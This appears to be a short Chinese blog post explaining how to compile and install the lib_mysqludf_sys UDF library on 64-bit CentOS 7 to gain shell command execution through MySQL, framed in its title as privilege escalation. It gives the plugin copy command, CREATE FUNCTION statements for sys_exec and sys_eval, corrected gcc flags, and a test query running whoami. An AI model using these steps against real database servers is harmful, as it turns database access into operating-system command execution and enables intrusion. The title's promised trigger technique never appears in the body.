linux centos 7 64位 安装mysql udf 提权 mysql 触发器执行shell命令
作者:admin 发布于:2019-8-25 13:10 Sunday 分类:Linux
mysql_udf 地址:https://github.com/mysqludf/lib_mysqludf_sys
项目里有编译好的lib_mysqludf_sys.so文件,不过项目比较老旧了,此so文件只适合32位的linux
强行在64位上使用,只会让你更加尴尬
这是我编译后和项目自带的so为文件对比
首先需要先复制so文件到指定位置:
cp lib_mysqludf_sys.so /usr/local/mysql/lib/plugin/lib_mysqludf_sys.so
在32位linux下安装命令:
DROP FUNCTION IF EXISTS lib_mysqludf_sys_info; DROP FUNCTION IF EXISTS sys_get; DROP FUNCTION IF EXISTS sys_set; DROP FUNCTION IF EXISTS sys_exec; DROP FUNCTION IF EXISTS sys_eval; CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME 'lib_mysqludf_sys.so'; CREATE FUNCTION sys_get RETURNS string SONAME 'lib_mysqludf_sys.so'; CREATE FUNCTION sys_set RETURNS int SONAME 'lib_mysqludf_sys.so'; CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.so'; CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.so';
如果想在64位linux下使用需要自己下载源码编译
//此项目给的编译命令也已经过时 //这是makefile中的命令 gcc -Wall -I /usr/include/mysql -I. -shared lib_mysqludf_sys.c -o $(LIBDIR)/lib_mysqludf_sys.so //正确的命令 gcc -DMYSQL_DYNAMIC_PLUGIN -fPIC -Wall -I /usr/include/mysql -I. -shared lib_mysqludf_sys.c -o lib_mysqludf_sys.so
在使用源码编译时,可能会遇到缺少库的情况,比如:
lib_mysqludf_sys.c:fatal error: my_global.h: No such file or directory
此时需要先安装
yum install mysql-devel #apt-get install libmysqld-dev
另外附两条查看so导出函数的命令:
objdump -tT lib_mysqludf_sys.so
nm -D lib_mysqludf_sys.so.so
执行命令测试一下吧
select sys_eval('whoami')
命令能否执行成功,取决于mysql运行的用户权限!